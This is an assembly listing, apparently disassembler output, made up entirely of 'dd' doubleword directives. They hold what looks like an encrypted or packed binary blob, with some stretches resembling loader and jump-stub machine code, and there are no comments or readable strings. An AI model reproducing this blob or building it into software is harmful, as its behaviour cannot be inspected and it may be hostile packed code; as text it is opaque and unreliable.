		dd 0BAEB3D26h, 33C99963h, 3B04FCDEh, 30ACC83h, 9EC426C3h
		dd 7CA4EC98h, 0CC5DE714h, 313F030Ah, 0C631F6A0h, 30A9F70h
		dd 8C1E0030h, 0A17B7B3h, 0DA51B32Ch, 3C64ACFAh,	0E5DD39D4h
		dd 0AFBA41Ah, 94DCE403h, 0ABBCBA2h, 95710000h, 936C267Fh
		dd 0F3ED643h, 70C983B3h, 29244C12h, 439583C9h
		dd 39E84EA9h, 98A80301h, 5F0442C8h, 0EE49E385h,	3013948h
		dd 0C8253808h, 406FCC9Ch, 0FC09322Bh, 23031EB4h, 9AF8157Dh
		dd 0E2E042B4h, 0AF411BB1h, 0DCBEA4Ch, 949AAA05h, 5F10485Dh
		dd 0C320E0E2h, 0F34C822h, 52ABA292h, 60318A9h, 0A536D00h
		dd 4CA30000h, 3B19F41Ch, 0F4D00D55h, 0AE875AA2h, 627F92FAh
		dd 530F2E36h, 0D9217750h, 137B2D04h, 0AEB69CFEh, 0E50D53B3h
		dd 9AD8E2Ah, 49030133h,	4E563D9h, 4FAC7C2Ah, 50DCBF3h
		dd 1CB6EFE5h, 0DD8BE77Ah, 0F87B2B5Bh, 0F3ED9C9h, 0BA974D75h
		dd 73EEF65Ch, 79CB4D13h, 0A7904A6Bh, 9386B36h, 28E77E46h
		dd 0C40913E9h, 9E72F4Eh, 0F8CF0000h, 0AF8558A0h, 607C91F9h
		dd 0D2332E36h, 8EEB668Eh, 0E763B2DAh, 0ADB5E3FCh, 0E70F51B0h
		dd 325A086Ah, 4991C7DFh, 7DC132D6h, 3D030133h, 44A2DF55h
		dd 70FE181Eh, 23BBBDE6h, 0ED701080h, 3415CF95h,	0B1938ED8h
		dd 6D3D69EFh, 652B0E8Bh, 5A0066F3h, 7F7551DCh, 0BE1F13Ah
		dd 0DB033F04h, 479C6AFh, 0E5020000h, 0CB4EF043h, 0F30E050Dh
		dd 1B4BCD93h, 0CB1933D3h, 3C07F0AAh, 780F3ED9h,	0A7BF9248h
		dd 1E74E9F1h, 0ED4DCE48h, 0FB030139h, 2112C8EDh, 9386BB4h
		dd 66320FE2h, 130A3AA6h, 913E9BEh, 3EE9847Ah, 0B4000009h
		dd 72EFF751h, 25384016h, 98759DCBh, 508DD5BBh, 38D92177h
		dd 1C48A53Eh, 563A19F4h, 0A1F7D30Eh, 0F8AE8459h, 9A653F90h
		dd 3013224h, 0A206FC64h, 0F6441E44h, 2D080281h,	0E04606BDh
		dd 0CD4B1171h, 0DD74789Ah, 0D934627Ch, 1FF595FBh, 0AFDB2138h
		dd 3DEFFh, 0FEBC0500h, 0E8050DCBh, 10E3B9FAh, 0F3ED6E3h
		dd 17A96353h, 1399224h,	28E2D203h, 13977CFh, 5F0F3703h
		dd 184EA485h, 5F051DF0h, 5C194FD9h, 749AB86h, 0EFB55511h
		dd 0FE40B355h, 0BE030139h, 39A31BE4h, 0D3E30301h, 0EF78FBABh
		dd 9F09386Bh, 0E965BE97h, 292F0913h, 88C54h, 45036A00h
		dd 9EC0203Dh, 0EBBD9B76h, 23694E83h, 7F2506DBh,	178CC617h
		dd 0CB066E3Ah, 0BD50B8E8h, 76EBF3A1h, 6D224A10h, 32D668CBh
		dd 0E960301h, 0A943E5B4h, 0DCBE84Eh, 9B98A805h,	50DCB23h
		dd 0F0A68663h, 46064E06h, 43B59BFBh, 0F0AAF0D6h, 78FB3F19h
		dd 50DCBC6h, 0D676BE86h, 0E9C31750h, 0DA672166h, 280BADAFh
		dd 0FAF23396h, 213EEED6h, 30Fh,	0CBFEBC27h, 0FAE8050Dh
		dd 0CB76C82Bh, 7944050Dh, 3D6E2C7Bh, 14979F5h, 0CC92F64Bh
		dd 3F5461Ch, 0E10F3EACh, 0C290F24Fh, 9B231054h,	0DB030143h
		dd 7F473BEBh, 386E44A5h, 7F253DD0h, 0E9D15FF9h,	0C1D0BC8Eh
		dd 20167C5Ah, 0A66C3C64h, 8759F3A0h, 1AC04CAAh,	0CB088F81h
		dd 0FC7F2F57h, 938172Fh, 7FAEA78Fh, 250913D2h, 7AB4E2Fh
		dd 240B0000h, 0E3C11C64h, 5CB855BDh, 166FE20Ah,	0CA273A42h
		dd 0ABA7769Eh, 6189DF38h, 0BBC395ECh, 0F61E44A6h, 0D553B1Bh
		dd 0B105F692h, 0F1030131h, 44A28B61h, 0BCF6441Eh, 372EB12Eh
		dd 0E21D6DF7h, 201517Ch, 1D75E442h, 0A6BC9D37h,	9E4E06F0h
		dd 89DF3998h, 6137128Fh, 7E766CF7h, 330E2239h, 85C181D7h
		dd 11475F2Fh, 532463C9h, 7EBAFDBh, 69000000h, 22A5Eh, 0C4BCDA00h
		dd 0EE050DCBh, 16E1BBF8h, 0F3ED6D9h, 0EE431929h, 148E0488h
		dd 0CD9B9663h, 61CF85h,	67C5A5D1h, 3C96FEAEh, 5897C1CEh
		dd 137824B5h, 0AFD25C3Dh, 914B4A6h, 53F56329h, 10AA6035h
		dd 14F9F27h, 2502DF03h,	85CDF97Fh, 6F3C3FC5h, 0CF093861h
		dd 8C96EE7h, 0F56B0914h, 6D498h, 9DCB2200h, 0D6B89875h
		dd 2375538Eh, 7B2106DBh, 0B79DFE13h, 0CFD48EAFh, 835EA6F2h
		dd 75E8F0A0h, 2E234B19h, 0A57A82C8h, 308E3003h,	46CE0301h
		dd 0D517E5ECh, 0B0F95C4Bh, 0EF57A07Ah, 0AF050D9Eh, 1C7AC787h
		dd 3B16C036h, 67D08ADEh, 50D9EDFh, 6AF7979Fh, 41D0460Ch
		dd 4D3B3D63h, 0A9E05B1Dh, 0AE879A94h, 0A6E7CFAh, 0A4EAC8A2h
		dd 51CAF2B2h, 0E293B1BFh, 0B9B6966Ah, 3007EDE9h, 9C55F9D9h
		dd 476C514Ah, 1D49CFF7h, 0CC92F04Dh, 77D93B16h,	6ED5BFD7h
		dd 35AFDB59h, 7, 1295E33h, 0BCDA0000h, 50DCBC5h, 0E6BCF9EFh
		dd 720FE4Ch, 0EDD066D1h, 0A090050Dh, 293736BEh,	0EB34FA79h
		dd 2AD40F3Eh, 50980901h, 0DC70FB4h, 0D936886Bh,	4E760301h
		dd 0D65C49Eh, 25BF8D47h, 0D208DC46h, 0E27F9737h, 78280B84h
		dd 7A1CC630h, 1A445F9h,	6D3D0503h, 5EF4A1A7h, 388A4CDDh
		dd 4DC4EC09h, 9145FB0h,	0CA97F66Ch, 28000005h, 0E67B83C5h
		dd 59B4DC82h, 0CC1297Fh, 0C4196137h, 8455BDEBh,	0A8FCD9CAh
		dd 0E2B68D40h, 3D6B479Ah, 74DA38D5h, 2611B36Ch,	3013790h
		dd 0A2EA40D0h, 0B9181E44h, 0D3C03559h, 92902611h, 0E0D0050Dh
		dd 0C0C9937Eh, 0CF28C298h, 50DDB77h, 0D95F0F37h, 0B990647Eh
		dd 1B1D43A0h, 40A6BB6Bh, 0C158F21Ah, 580C69E0h,	0BE6E2610h
		dd 0DA7B6FD4h, 1836AFh,	2C120000h, 84BBE9E6h, 2611CBA8h
		dd 50DC490h, 0BA20E0D0h, 365Eh,	44A2DA00h, 59B9181Eh, 0DEB805F3h
		dd 4EA943D6h, 50DCBE8h,	860C13DAh, 0C9A5F58Ah, 0FED429F9h
		dd 5285393Ah, 0FDC5050Dh, 24021FB5h, 1CCCF87Eh,	15E5F4h
		dd 0A21F0000h, 0B9EFCB44h, 0B7048771h, 0ED050DCBh, 774F1F95h
		dd 0E563D921h, 0C4204D17h, 47078528h, 40B69CFAh, 166E0E6h
		dd 0BBE1C65Bh, 3907D973h, 0FDF47101h, 9596369Ch, 0F3EEA49h
		dd 7ED389B9h, 0DE8AE718h, 75D44E96h, 0A29D371Dh, 301051Ch
		dd 0A9B4545Ch, 0B3150349h, 0E94A0055h, 93217C2h, 0BD9C367Eh
		dd 3D97FFA5h, 0F726989Bh, 5E66050Dh, 0D53B38Eh,	1470C90Bh
		dd 5A888242h, 8BEE4319h, 731353C5h, 0D5B14EA9h,	0CA270F34h
		dd 0F6BEB8EEh, 839AAA56h, 3188C80h, 6ECFAEA4h, 44000004h
		dd 2DF2761h, 0F5687026h, 0A8A5CD9Bh, 60FD054Bh,	0E8095107h
		dd 4C18756Eh, 86CA2924h, 0D187E37Eh, 287E5489h,	4AB54FC0h
		dd 30136F4h, 0A2562CB4h, 1BF61E44h, 0F0A6803Bh,	10064E06h
		dd 6BD32CC6h, 2B050DCBh, 90F64B1Bh, 8FCB4CCAh, 177D5525h
		dd 0D2849C7Dh, 1370DA32h, 9AAFDA6Bh, 5Bh, 0E35BA47Eh, 0A3FAF23Fh
		dd 9509F393h, 9E6C267Fh, 673E58Ah, 0F78D5D2Dh, 342CE204h
		dd 0D872420Fh, 4DC82B06h, 27E72F75h, 42AAF8DAh,	0A172F91h
		dd 662C0A03h, 0B1E7C31Eh, 7F05151Bh, 61D7B99Bh,	2F573B25h
		dd 93EA4C1Ch, 3C1h, 0FC752309h,	8177213Fh, 31B45BC5h, 9571EBBBh
		dd 936C267Fh, 0F34C92Eh, 41D0466Eh, 9B613B61h, 5C4577CCh
		dd 0E25DF7C4h, 30A2B5Ch, 0F274141Ch, 0A2654F4Bh, 0DA25FFA4h
		dd 9332961h, 53C91121h,	14B49AFEh, 0D18B283Eh, 54C0223Fh
		dd 4732303Bh, 34D41C7Bh, 34938A37h, 8F68CA0Fh, 30A9337h
		dd 0F67D8977h, 0D8B68710h, 34EE6890h, 0B611D3C6h, 1ACADC85h
		dd 0F87E2A07h, 0E3C228EAh, 8959468Fh, 0BA3256F6h, 0EEA4F117h
		dd 0C26A5B00h, 7AC503FCh, 30A08C4h, 0D474BC84h,	0A486740Eh
		dd 0CA010916h, 0B4FCAC87h, 6FAA1714h, 0DAEA0933h, 83475FB2h
		dd 0D43621BDh, 0F764DBEBh, 50D0A4Fh, 25FF270Fh,	0BEB8EEC4h
		dd 41D056F6h, 9D33B61h,	2EC09ADBh, 0E2A2F6D3h, 3459B801h
		dd 790EF80Fh, 7F7500DDh, 1EECA6EEh, 57194664h, 0EE481885h
		dd 50EEC634h, 0B68D9987h, 40A51516h, 0E9ED030Ah, 0F2371C03h
		dd 42FEB5E1h, 7A000000h, 9DE07F95h, 0C6E00FBh, 4F7ADD5h
		dd 0F347043h, 803601A3h
		dd 0C0030A70h, 2C12C8F0h, 0A4175182h, 7DFBAB33h, 803601DBh
		dd 0C0030A5Ch, 6FD350F0h, 27030A5Ch, 146C923h, 88B5E202h
		dd 0C9h, 1E44A24Ch, 763FE18h, 53ACB151h, 0B2AFF1D0h, 51C70F55h
		dd 0BABCE2C0h, 0F1A78198h, 75F6CC51h, 86CE481Ch, 0BD9C365Eh
		dd 0D152F2A6h, 50DC760h, 0E30B51B1h, 0A2F4D029h, 51071FE2h
		dd 5E074DE7h, 0EB8ABB84h, 0A3A0F34h, 0FB0A58E2h, 0AE9C678h
		dd 76BE8603h, 353663DCh, 9E00935h, 0B1F56329h, 64D76D11h
		dd 5035DD2h, 0A07AA292h, 83D5330Eh, 371D7EC3h, 56D1322Fh
		dd 6FE62E74h, 91113E6h,	0F2411C12h, 0C0000001h,	0BE53BBEDh
		dd 71ECF45Ah, 24394117h, 9C7199CFh, 6C8DD583h, 0C094F1F2h
		dd 1A4EA5B8h, 55031FF2h, 0ACF2D00Dh, 0CE29CB44h, 300CB68h
		dd 0E5C2B828h, 0D9995017h, 53F3E340h, 5FA7EDCEh, 96FEA482h
		dd 267F951Ch, 0C1DA936Ch, 3D1C0F34h, 0AC12ED25h, 0EC030AC1h
		dd 10CC9CC4h, 0DEC3620h, 0D53B033h, 73135B0Bh, 0AC14AF0h
		dd 460A6B03h, 316741D0h, 624AA0C7h, 0ACAEE59Bh,	97DF8B80h
		dd 12F5FFD3h, 0B5E23435h, 191DB3B9h, 4E9125E4h,	1D13AB94h
		dd 6353030Ah, 0B65CA3h,	0A2980000h, 0B9181E44h,	0FF52085Ch
		dd 1412B2E6h, 46126FC2h, 44F8D1D8h, 58086D57h, 0DF46EDBh
		dd 0F1A7BF05h, 481E74E9h, 356E64CEh, 0A64C59Fh,	9EAF8C5Ch
		dd 2E0F34D8h, 6BFE4C06h, 48A62EB4h, 5BE1E9B9h, 41B2680Dh
		dd 9353EF7h, 0FEA88465h, 0C882B22Eh, 38401471h,	859CC825h
		dd 9111396h, 0F2FD9096h, 0C0000000h, 0BE53BBEDh, 71ECF45Ah
		dd 24394117h, 9C7199CFh, 6C8DD583h, 0C094F1F2h,	1A4EA5B8h
		dd 55031FF2h, 0ACF2D00Dh, 0CE29CB44h, 300CA68h,	0E5C2B828h
		dd 0CD454417h, 5E0ECC35h, 0F67E6C3h, 76E0B68Ch,	14CEF63Eh
		dd 8E88DC35h, 13CE06C6h, 0AF056D33h, 181E44A2h,	0EBF359B9h
		dd 0A9870341h, 54D79FFh, 2013B54Fh, 50DCB9Eh, 0A510DCACh
		dd 0FC1453h, 4B939030h,	8B0F3E8Eh, 6168CE29h, 6A490301h
		dd 327A4A26h, 35B79298h, 302E5A4Ah, 895981D7h, 8ED432AFh
		dd 0C58BEB66h, 348A750Fh, 74030179h, 0A7A6C24Ch, 37D9085Fh
		dd 0B91E9197h, 0B435A3D9h, 2200DAD2h, 99F9147Ch, 88BF0575h
		dd 0ACD40E7Bh, 82D62FAAh, 4D1371C8h, 22684ECBh,	590F67FAh
		dd 0F9C1AF89h, 553B1BF3h, 6AF2D00Dh, 0CE2AAE64h, 68D69E98h
		dd 5F876FB8h, 384D9h, 793C0000h, 1D4BA2FFh, 0F258BE1Bh
		dd 0EBB99504h, 0C395EC6Dh, 0BDEBC455h, 97FDDEBBh, 8DD330A1h
		dd 782E0E8Bh, 5F0163FEh, 895732D9h, 4C781E7h, 83000000h
		dd 3C8704EFh, 24895C24h, 24048324h, 0E0895004h,	405h, 4E88300h
		dd 5C240487h, 52243489h, 0C281E289h, 4,	8704EA83h, 895C2414h
		dd 63682404h, 8900003Fh, 6FBA2414h, 89060CF3h, 8B545AD6h
		dd 0C4812404h, 4, 8BA52h, 0EA810000h, 5EDD4815h, 0C281C201h
		dd 5EDD4815h, 0FF5A3289h, 81582434h, 4C4h, 2434FF00h, 4C4835Eh
		dd 0FA7A7DE9h, 0CF98F0FFh, 0B8F1D87Ah, 60D0279h, 0E0FFC503h
		dd 5BC458B8h, 26468FEEh, 0D385D1Eh, 6C5F5685h, 25192B83h
		dd 6E4FED0Fh, 2BBD6F69h, 766A4397h, 17DE9h, 0FE5D6000h
		dd 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh
		dd 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh
		dd 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh,	0E56D599Ch
		dd 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh
		dd 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh,	43h dup(0)
		dd 0D1F80000h, 0DA43736h, 41FFD3C2h, 45E94F77h,	6800000Fh
		dd 60D06A7h, 0FB3F6EE9h, 76168FFh, 64E9060Dh, 68FFFB3Fh
		dd 60D0914h, 0FB3F5AE9h, 9D268FFh, 50E9060Dh, 68FFFB3Fh
		dd 60D0AECh, 0FB3F46E9h, 0BE468FFh, 3CE9060Dh, 68FFFB3Fh
		dd 60D0C8Ah, 0FB3F32E9h, 0D1268FFh, 28E9060Dh, 68FFFB3Fh
		dd 60D0E04h, 0FB3F1EE9h, 0E8368FFh, 14E9060Dh, 68FFFB3Fh
		dd 60D0F3Bh, 0FB3F0AE9h, 0FF368FFh, 0E9060Dh, 68FFFB3Fh
		dd 60D10AFh, 0FB3EF6E9h, 11D868FFh, 0ECE9060Dh,	68FFFB3Eh
		dd 60D1283h, 0FB3EE2E9h, 63D995FFh, 0FD797EDAh,	1C98D838h
		dd 0BC38B99Bh, 0E25E19FBh, 0E0837B5Dh, 46D26BE7h, 2A368F07h
		dd 859728ACh, 0DAE84DCBh, 0B9EB9246h, 0B8956C2Ah, 0F3A3DD18h
		dd 29735081h, 34827DE2h, 8AB605A8h, 0CCD35EBCh,	0B72DAF29h
		dd 0E769060Eh, 4E3E17Bh, 0FE48CB4Fh, 0FC60FA7Dh, 682E45CAh
		dd 1FFB4BB6h, 6C20236Ah, 257D30A7h, 0C73AB237h,	3BFE844Dh
		dd 54C17Ah, 0DF3D0000h,	85037D98h, 0C43FBC0Ah, 3438C918h
		dd 895E03A6h, 9E9FE004h, 1953875Bh, 5682E31h, 3383797Bh
		dd 9D1894D1h, 38DCB822h, 6C204571h, 0F0746D0Fh,	0C0448275h
		dd 6C2045BDh, 5FEF6F6Ah, 0B50187FDh, 0F7486BE2h, 2BE5880Fh
		dd 7A3C54EAh, 0D0BBh, 0A3DD9900h, 38BB9925h, 926EF2BCh
		dd 27BC3F4Eh, 23D6416Ah, 0DB937B1h, 6ED74D0Fh, 27B777F4h
		dd 3ADEBA6Ah, 6A27B873h, 6DEF120Dh, 59BE2373h, 2F651024h
		dd 0EB8836AEh, 0C848ED68h, 0B2A4128Eh, 69DDABDh, 27E4ABD2h
		dd 0EF6AD56Ah, 0F86AEE6Ch, 94682EB8h, 5F1014A9h, 0C540C4BCh
		dd 1B2A8155h, 9A706E27h, 297C3746h, 53CE496Ah, 0A35E73CFh
		dd 163F01AAh, 64168ECh,	3C3F6A29h, 37F1041h, 0E4FC34E5h
		dd 48C48711h, 0EE6A65F7h, 5E19EC22h, 0C7994181h, 0CA5h
		dd 3D827A7Ah, 9B1C98DFh, 0FA4339B9h, 5AE35B1Eh,	0BC01FDFEh
		dd 44724D8h, 0A8253788h, 0CB898B2Ch, 6E68E84Dh,	0E17D4DF2h
		dd 2ABA4C7Dh, 77D5326Ch, 9126A2DDh, 0F24BC183h,	3438C926h
		dd 0C238B2A6h, 69F3682Eh, 0A340EE6Ah, 5CEA5558h, 20B6B5F8h
		dd 0DC9F786Ch, 3B65E322h, 0A7A27Ah, 35580000h, 0C24CC906h
		dd 6BB5488Ah, 0A44A3DDh, 0A1A3138Eh, 381CAA26h,	6A27B7C3h
		dd 45FA7670h, 0AF1F95D7h, 0D644C8B9h, 2EE4C002h, 7B9F7B68h
		dd 6C209332h, 1B2ED14Ch, 0D0A1A718h, 520CCE4Ch,	0BCF23D6h
		dd 6E274485h, 7E9C7EF9h, 0DC3C817Dh, 3FF527A3h,	80815DE3h
		dd 0BEB04DAh, 0C0BC0000h, 6261F344h, 87C351E6h,	21A0B005h
		dd 470010A5h, 0EA6272CBh, 0ED52CE89h, 41F66E6Fh, 0AE1795D3h
		dd 3B430B2h, 0F2BB5FA3h, 8C6C2ABBh, 0A2DD0183h,	0BC942539h
		dd 6FEA6A27h, 8FC94BECh, 0F0256AC7h, 0EFEB02A4h, 0CE77F26Dh
		dd 25A3DD12h, 0CBA0C599h, 0CC6529F1h, 1456C235h, 1D2A5387h
		dd 0E9546A27h, 56D14B0Fh, 868A67E1h, 73CAC014h,	0EB56682Eh
		dd 1B55875Bh, 850084FCh, 4DDE072h, 87106C20h, 13FB3AF4h
		dd 0AF4A7A3Ch, 8E000000h, 0A63438C9h, 0D9DAA7CAh, 2F74F0F7h
		dd 11527D7Fh, 0CF4A2995h, 8AACAE34h, 0F567682Eh, 2FCC7AFEh
		dd 5617E1D4h, 109350DEh, 3402E78Ah, 90AEC2E8h, 10A5A16Dh
		dd 0DD6C203Eh, 1E9EDB01h, 0A928D390h, 921BAE06h, 7F0ED063h
		dd 77C7453Dh, 28679F4h,	7A3BB2C3h, 0EE99DAEFh, 2CEA7047h
		dd 0AA1490D0h, 47B936C9h, 9B000000h, 0BE3AB9A3h, 188873F0h
		dd 6360FA67h, 7E9457E7h, 6A27BC4Fh, 0BC4B72E6h,	0CA356A27h
		dd 26578B87h, 586A27BCh, 0C48662DDh, 894DCD48h,	682ECF4Bh
		dd 8E8A3427h, 6C20A0FBh, 0D00EA136h, 7A3B7811h,	754h, 3DA1B400h
		dd 0FF000008h, 0A63438C9h, 24B7ACB2h, 5620768h,	0B574137Dh
		dd 66F2C538h, 0EE6CEF67h, 64F6726Ch, 0CF7FF7F6h, 414C92Ch
		dd 0F660CE4Ah, 0FEB77F9h, 0A41296CDh, 3A63CC7h,	5D6E29B0h
		dd 9C78E2h, 27B6ADDCh, 9D60D36Ah, 72CB4103h, 0DE68E4E6h
		dd 0E4936F02h, 5BFDC789h, 0CD4F20A0h, 57CD8F4Dh, 588A4EACh
		dd 34682E0Eh, 39231FC9h, 0AA508757h, 0A38D4h, 178DC900h
		dd 0B135B2AEh, 0D0540C0Ch, 70F4ED6Fh, 96124DCFh, 0D4B7B721h
		dd 0BAA61F9Bh, 1EFA433Bh, 0F95BDC58h, 0EEBC01FFh, 0B5BFCE12h
		dd 44C16C2Ah, 0BB96DBC4h, 9C556A27h, 0B27CF8F9h, 3024B631h
		dd 6824B9FEh, 0C64EF762h, 0A7BB2729h, 6E29BA99h, 4A900AF5h
		dd 0BD3E880Ch, 38BAA0BAh, 5F19FBBCh, 0E6E379E1h, 0E5539366h
		dd 4892080Ch, 71F5F20Fh, 50AB26C5h, 0B83BA6BAh,	0EA556824h
		dd 0DE8EA70h, 0B5AF0654h, 0E2804EB5h, 0D70BD767h, 6C2AD7A6h
		dd 67E25DD8h, 840042DEh, 0D7ADDE3Ah, 0A400EC2Ah, 2AD709B0h
		dd 718477ECh, 0E07AFEF3h, 23A5167Ch, 2DFF7AEEh,	159B8FBh
		dd 7A986614h, 0F000009h, 0F060D54Fh, 52CE77F3h,	33219616h
		dd 938136B6h, 0F5E354D0h, 0DD591A79h, 1FDF858h,	0A2265CBCh
		dd 0C7BD3F1Dh, 8CC507Eh, 6C2AB561h, 0C9920E1Fh,	0B2A63438h
		dd 6824B87Ch, 0DE5A14E0h, 631DFF63h, 86C050E5h,	0B54ABC0Ah
		dd 0BF01A8ACh, 0FC7F6C2Ah, 0BF9B35D7h, 0DF5A14D6h, 5CD89943h
		dd 679D4199h, 0B6E2905h, 0E489208h, 0AD2F2D92h,	0E0918737h
		dd 371AFE5Ch, 49682407h, 0CC8E4CCEh, 736DEF50h,	0D9B549F5h
		dd 2A017405h, 0A527A36Ch, 0C5F468E2h, 0BB6C2A01h, 583A3DB8h
		dd 6C2A0115h, 8B1719D6h, 29041557h, 686F096Eh, 26A142ECh
		dd 0A824A6B4h, 0CD4B0517h, 5C6DF14Dh, 226A2702h, 1D9BD537h
		dd 453A2CDAh, 27138DCh,	0C0F6A27h, 2BD50991h, 47682406h
		dd 3FC6AD4h, 0D93D9901h, 6C2A0190h, 12673EEh, 0D4D09714h
		dd 3591698Ch, 11EF6390h, 8F72E9BEh, 2377210Bh, 522E8A6Eh
		dd 2D79FF8Eh, 7C96816Ah, 6A2D794Dh, 0A3DC033h, 975DD0Fh
		dd 0C08E815Ah, 8603Eh, 3FB53100h, 59DD9A86h, 0F87C74E4h
		dd 189CD547h, 0BE3AB5A7h, 3C5F9FF9h, 0E27EC743h, 46D26BE3h
		dd 21338400h, 369429A7h, 0B687362Ah, 6CF96C2Ah,	25A3DDACh
		dd 4339BB99h, 0DB5111F3h, 71EFE96Bh, 0C2F548C5h, 0FCBF567Dh
		dd 9B1C98DAh, 0E0D6A2C7h, 0DB681D42h, 3DC1AD63h, 0FF26D27h
		dd 35574C95h, 101974h, 0A0C50000h, 0BE8E892Ah, 4F896CC3h
		dd 4C3A1h, 0EA3FF00h, 7BD81E9Ch, 20D42F56h, 9799562Ch
		dd 0BCFDD70Bh, 0A691682Eh, 0E3E27814h, 0CCD9E074h, 0B4A76C20h
		dd 0CE8F8D39h, 0B220DB56h, 9B25FB45h, 8137DDF0h, 869CD1ADh
		dd 2BCE2B52h, 6FEA55BFh, 0E1631C94h, 0BB2FE579h, 0D043BD22h
		dd 59D5904Ah, 1FE68A6h,	0A87FE37Fh, 0CABB294Fh,	0E377D34Fh
		dd 0BF26A0DAh, 69D5530Dh, 0B854C78Ah, 72F1BD39h, 0EFE9738Fh
		dd 124CCC71h, 5FF64A96h, 33FB5650h, 768ADh, 0C7BD3900h
		dd 61E5E27Eh, 80047CDCh, 20A4DD3Fh, 46C2BD9Fh, 467E7F1h
		dd 0EA76CF4Bh, 4ECA73EBh, 292B8C08h, 3E8C31AFh,	0B78F3E22h
		dd 14F16C2Ah, 25A3DDB4h, 0AE26A7B5h, 0BC81282Ch, 7CFF6A27h
		dd 8CCF4DF9h, 0C8B9AF10h, 1A02D644h, 666824B9h,	0FBF567FBh
		dd 1E58B87Dh, 4D2214A2h, 0E943731Dh, 233D2B6Dh,	0DF9C2AA2h
		dd 0D81AFE5Ch, 0B46E299Fh, 0A4E5BE9Fh, 9C1FF763h, 26A2DC3Eh
		dd 0FD61FD91h, 6A2767CCh, 2FA726B2h, 8DCF49ACh,	14518B17h
		dd 8003F9F9h, 8442B536h, 9F49C586h, 81501ECBh, 0C26CF2B8h
		dd 57000006h, 38189D17h, 9A863FBBh, 7BD95EDEh, 0DB39FE7Eh
		dd 3D9B1C98h
		dd 0A521A2C1h, 0C9450010h, 6AEEE474h, 8F0547D5h, 50849836h
		dd 6C2AB029h, 0C95AF657h, 0B2A63438h, 6824B880h, 0DE971ECh
		dd 0ED108CCFh, 70E47173h, 6C2ABF49h, 0F449C437h, 0CC8F6A64h
		dd 1FEE5986h, 1E9974D5h, 0CA50D390h, 0F2C3EA6Eh, 42BD6C2Ah
		dd 69F38FBFh, 50D48D68h, 778A05E6h, 9E7C00F1h, 23F4E07Ah
		dd 9741BC6Eh, 815992DDh, 3A6AF4BAh, 0CF000006h,	0B0A0158Fh
		dd 120EB733h, 0F361D656h, 53C176F6h, 0B5239410h, 1D99DAB9h
		dd 413DB898h, 0E2661CFCh, 7FDFF5Dh, 0C80C10BEh,	6C2AB1A1h
		dd 0DDD24EDFh, 0BB9925A3h, 3DDF4339h, 8054C642h, 6A27BCF9h
		dd 0A5619487h, 0E6387B12h, 0D34909E4h, 0BCE28B4Fh, 0A19C6A27h
		dd 5A9B9126h, 2B743460h, 7, 2AAA1E9h, 0DDFF0000h, 0A7B525A3h
		dd 5D1EA824h, 5FA6C9Ah,	68EB6362h, 0B7D46EF2h, 0BDB86824h
		dd 0C7BD3FDDh, 0CC01F477h, 2896124Ch, 0AD2DA92Ah, 0D8E175D1h
		dd 0A66C2AB8h, 0B82E5FBBh, 84506C2Ah, 35C84BCFh, 0E67B74F0h
		dd 2AB84B72h, 4FCA356Ch, 0FAA0BED3h, 0EFB03304h, 3362F614h
		dd 5D6E29A9h, 0E0E278E2h, 0E5947FB2h, 0F4771CBBh, 7FFBF466h
		dd 97D14384h, 2CAFAD19h, 5F1006B0h, 53997DDDh, 2F682E5Bh
		dd 0C47AE02Ch, 8B338756h, 548F5h, 279DD900h, 41C5829Eh
		dd 0E0641CFCh, 84FD5Fh,	0A6225DBFh, 24478711h, 8A962FABh
		dd 6EEA53CBh, 0C94BEC68h, 1EAC118Fh, 0B2AFDE02h, 74D16C2Ah
		dd 25A3DDD4h, 7405D9B5h, 0A6A27BCh, 75F3ED0Fh, 17D72AC9h
		dd 426BEF4Bh, 3C6A27BCh, 20A23EC1h, 7815972h, 423D0441h
		dd 892CA3F4h, 269F1557h, 34D7E322h, 7A274h, 0A1660000h
		dd 12Bh, 25A3DDFFh, 4F448DFBh, 0F28C3281h, 4C9h, 11A61E5Eh
		dd 7FC04403h, 0DE67E59Dh, 3E870742h, 9025A122h,	28ABC804h
		dd 4C090BACh, 0F7ED6FD0h, 124CCC71h, 0BD812196h, 2AB21059h
		dd 23E16E6Ch, 9925A3DDh, 0DF4339BBh, 0E8ED118Ah, 782071EDh
		dd 910B4F4Ah, 30CB4625h, 0DB5F14F6h, 6DEBE96Bh,	0E6896CC1h
		dd 2A300251h, 0DE9D29ADh, 59F9BC1Bh, 0EDD46734h, 32CE4002h
		dd 50CC37B7h, 2F259A16h, 7434E7E6h, 0DBFh, 9CA19D00h, 0FF000000h
		dd 96A1h, 38C9FF00h, 80B2A634h,	0EC6824B7h, 6AD45010h
		dd 0F06C6F89h, 9C2AA546h, 0B132D5AAh, 6FEA8935h, 0C9116FF3h
		dd 827D6E23h, 595F3C56h, 4F11D981h, 411h, 0C96EE6E6h, 37880C4Bh
		dd 962FAD25h, 0F64FCF8Ah, 48ED696Ah, 0F0F3904Ch, 1451C374h
		dd 0BF352798h, 0DA948439h, 75C9D95Eh, 2AB3D8E1h, 0EBA9A66Ch
		dd 0A63438C9h, 0D55110CAh, 38C3B93Bh, 2EFE835Ah, 0F862DD68h
		dd 0C2876662h, 0EC76CF4Ah, 6C20F1DAh, 6ED74D0Fh, 5117F6F2h
		dd 0D886BDBh, 3AFDFA1h,	0A37D0000h, 0F34339B9h,	6A078D70h
		dd 429874E6h, 0B83B8B03h, 0B727DD45h, 0C84B6824h, 75F7887Eh
		dd 0D1AD09E5h, 2AB87C0Dh, 0F317026Ch, 6C2AB8CAh, 2CB649B4h
		dd 6E23C9D2h, 20498D69h, 5E6A2DA7h, 351518E3h, 2DA79821h
		dd 0F87BE66Ah, 595F4C2Ch, 4B15C581h, 359h, 8136AE2Eh, 0EF50D493h
		dd 4EF7756Dh, 0AE1797D2h, 0B531B2h, 0B83B5894h,	0DC997B3Ch
		dd 77DDF60h, 0A2DC3C81h, 2D319126h, 2AB38029h, 0B311FE6Ch
		dd 1D5538C9h, 5CBE1C9Fh, 0B852A521h, 24B7B2A4h,	0CF53CE68h
		dd 3A439773h, 446C2AB8h, 38BA26D9h, 5F19FBBCh, 0EE355E1h
		dd 7D724EDCh, 0B93A8400h, 6EFCB8E8h, 0E757D792h, 0CD118904h
